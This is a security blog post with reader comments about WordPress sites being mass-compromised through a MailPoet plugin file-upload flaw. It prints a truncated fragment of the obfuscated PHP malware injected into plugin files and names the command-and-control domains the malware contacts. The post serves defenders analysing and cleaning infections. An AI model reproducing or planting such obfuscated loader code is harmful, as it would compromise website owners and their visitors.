• Skip to primary navigation
  • Skip to content
  • Skip to primary sidebar
  • Skip to footer

Sucuri Blog

Website Security News

  • Products
    • Website Security Platform
    • Website Firewall (WAF)
    • Enterprise Website Security
    • Multisite Solutions
  • Features
    • Detection
    • Protection
    • Performance
    • Response
    • Backups
  • Partners
    • Agency Solutions
    • Partners
    • Referral Program
    • Ecommerce
  • Resources
    • Guides
    • Webinars
    • Infographics
    • SiteCheck
    • Reports
    • Email Courses
  • Immediate Help
  • Login

WordPress Websites Continue to Get Hacked via MailPoet Plugin Vulnerability

October 9, 2014Daniel Cid

FacebookTwitterSubscribe

The popular Mailpoet(wysija-newsletters) WordPress plugin had a serious file upload vulnerability a few months back, allowing an attacker to upload files to vulnerable sites.

This issue was disclosed months ago and the MailPoet team patched it promptly. It seems, though, that many website owners have still not gotten the word, or are blatantly not updating, because we are seeing another string of mass exploitation attempts against WordPress websites. Those that are not or have not updated are getting infected repeatedly via this vector. The issue is compounded further because the attackers are using it as a spring board into the rest of their account further compromising their entire account.

Please, we cannot stress the importance of updating enough, and not just your active website, but any other websites you have in your stack, under the same account. Cross-site contamination is a very serious issue. If you can’t update for whatever reason, employ the use of a Website Firewall, at a minimum, and stop the attackers before they get in.

The Payload

We are lucky because the volume of infected websites we see daily allows us to analyze and clean hundreds of websites which then allows us to establish processes that escalate cases if they trigger specific similarities. It’s part of our pattern recognition process. It’s at this point that our Research team gets involved to better understand the cause and introduce new solutions to 1) clean it faster and 2) see if there is something we can do to get ahead of it (it’s what leads to these posts).

This is exactly what has transpired in this case case. The pattern was this random payload:

<?php if(!isset($GLOBALS["x61156x75156x61"])) 
{ $ua=strtolower($_SERVER["x48124x54120x5f125x53105x52137x41107x45116x54"]);
 if ((! strstr($ua,"x6d163x69145")) and 
(! strstr($ua,"x72166x3a61x31"))) $GLOBALS["x61156x75156x61"]=1; } ?><?
php $fiukcmzguy = '%x5c%x7825)kV%x5c%x7878{**#k#)tutjyf%x5c%x7860%x5c4}472%x5c%x7824<!%x5c%x7825
mm!>!#]y81]273]y76]258]y6g5w%x5c%x7860%x5c%x785c^>Ew:Qb:<**2-4-
bubE{h%x5c%x7825)sutcvt)esp>hmg%x5c%x782x7825z>>2*!%x5c%x7825z>3<!fmn>qp%x5c%x7825!|Z~!

We will provide a more thorough breakdown of what it is doing in another post. At a high level though, it contacts a malware Command and Control (C&C) server (either one of these hosts: 33db9538.com, 9507c4e8.com, e5b57288.com, 54dfa1cb.com) to determine what to do with the compromised website.

In cases like this, one of the things we look for are common denominators. In this case, every website had the following path available: wp-content/plugins/wysija-newsletters (yes, MailPoet). When cleaning, they all had:

./wp-content/plugins/wysija-newsletters/classes/WJ_Analytics.php. Details: php.malware.generic.029
./wp-content/plugins/wysija-newsletters/classes/WJ_Export.php. Details: php.malware.generic.029
./wp-content/plugins/wysija-newsletters/classes/WJ_Import.php. Details: php.malware.generic.029

Along with hundreds of other compromised PHP files.

This allowed us to drill further into the sites, specifically their logs, and find that all sites with this injection were running MailPoet. As we investigated the logs, we could see the attack pattern of the theme upload, followed by the exploitation.

Cross Site Contamination

Another pattern we are seeing is that cross site contamination is occurring after the compromise.

There were a few websites that did not have MailPoet installed, but further investigation revealed it was on a neighboring website (which was out of date and not patched or protected).

If you have other websites on your web server, or if you ever installed a demo or testing directory, please remove or update it as it can be misused to hack your site or any number of wide ranging acts.

In one case, the “forgotten” directory was /backups. He had a copy of WordPress inside /backups running the vulnerable plugin and it lead to his whole site getting hacked. Yes, Backups are important, but follow best practices when employing them.

Nuclear Exploit Kit

Another interesting point about this injection is that the malware displayed browser-side is very dynamic, but when active it is very similar to this one (a.k.a. – Nuclear Exploit Kit): Malicious Iframes Targeting WordPress

FacebookTwitterSubscribe

Categories: Vulnerability Disclosure, Website Malware Infections, Website Security, WordPress SecurityTags: Webserver Infections, WordPress Plugins and Themes

About Daniel Cid

Daniel B. Cid is Founder of Sucuri and the VP of Engineering for the GoDaddy Security Products group. He is also the founder of OSSEC and CleanBrowsing. You can find more about Daniel on his site dcid.me or on Twitter: @danielcid

Reader Interactions

Comments

  1. William

    October 10, 2014

    Hi,

    Cross Site Contamination is a very very VERY serious issue.

    After first contamination in July through mailpoet vulnerability it took me days to clean up and check my websites even through SSH global searches on the whole server for specific strings or words…

    I removed Mailpoet plugin from all websites when I could convince the client, it remains now only on three websites. Saying that I don’t blame them, I’m sure they had harder time than I had !

    • Klerfe

      December 27, 2014

      Heloo! The same problem here! Any suggestion on how to celan up the websites? The hack is infecting several websites. And as soon i celan up one it turns up to another :/

      Thanks!

      • William

        December 27, 2014

        Well, what I did is through SSH global searches on the whole server for specific strings or words… I finally removed all infected files and since no more problems.

  2. Saul Rosenburg

    October 10, 2014

    Interesting post. How are the miscreants dropping a shell in the ”

    wp-content/plugins/wysija-newsletters” directory? I thought the exploit uploaded a shell in “wp-content/uploads/wysija/themes” ?

    • Tony Murdock

      October 14, 2014

      It creates a fake theme folder, but you are then able to upload additional shells through the shells that were uploaded into the theme directory.

  3. matiasgt

    October 11, 2014

    I have been hacked several times. I see the famous fake admin id=1001001 and whe u delete this user all the plugins are deactivated.

  4. Friv1000game

    December 28, 2014

    Thank you for warning Mailpoet (wysija-newsletters) WordPress plugin, the best advice is that you should backup data for incident prevention website

  5. Sebastian

    February 3, 2015

    It any know if this hack is around mysql too, have 46tk files to remove but if is still touch some datebase that will be scery me , pls help

  6. nwradu

    February 3, 2015

    I had the same issue twice in the past two days. Never used MailPoet on any of my website (had 4 of them on the same host), so there’s probably another vulnerability in another plugin.

    Any way to tell which one?

  7. Jennifer

    February 3, 2015

    I’m in the same situation as the nwradu. I have never had MailPoet yet the malicious code was inserted in the beginning of all my plugin and theme PHP files. It’s happened twice now and I don’t know how to prevent it from happening again.

  8. Daniel

    February 6, 2015

    I too have not used MailPoet and this malware has managed to place itself in every php script in our main domain site and all sub domain sites as well.

  9. JohnWhitling

    February 18, 2015

    I as well. Never had mailpoet and it has infected every corner of my site. My site is now pretty clean but WHERE DID THIS COME FROM?

    It seems that this malware inserter is a few steps ahead of the security people. I know in my case it casued my site to drop all my security because my WP security methods are all plugins. Both Securri and Wordfence in inactivated.

Primary Sidebar

Socialize With Sucuri

We're actively engaged across multiple platforms. Follow us and let's connect!

  • Facebook
  • Twitter
  • LinkedIn
  • YouTube
  • Instagram
  • RSS Feed

Join Over 20,000 Subscribers!

Sucuri Sidebar Malware Removal to Signup Page

Footer

Products

  • Website Firewall
  • Website AntiVirus
  • Website Backups
  • WordPress Security
  • Enterprise Services

Solutions

  • DDos Protection
  • Malware Detection
  • Malware Removal
  • Malware Prevention
  • Blacklist Removal

Support

  • Blog
  • Knowledge Base
  • SiteCheck
  • Research Labs
  • FAQ

Company

  • About
  • Media
  • Events
  • Employment
  • Contact
  • Testimonials
  • Facebook
  • Twitter
  • LinkedIn
  • Instagram

Customer Login

Sucuri Home

  • Terms of Use
  • Privacy Policy
  • Frequently Asked Questions

© 2023 Sucuri Inc. All rights reserved

Sucuri Cookie Policy
See our policy>>

Our website uses cookies, which help us to improve our site and enables us to deliver the best possible service and customer experience.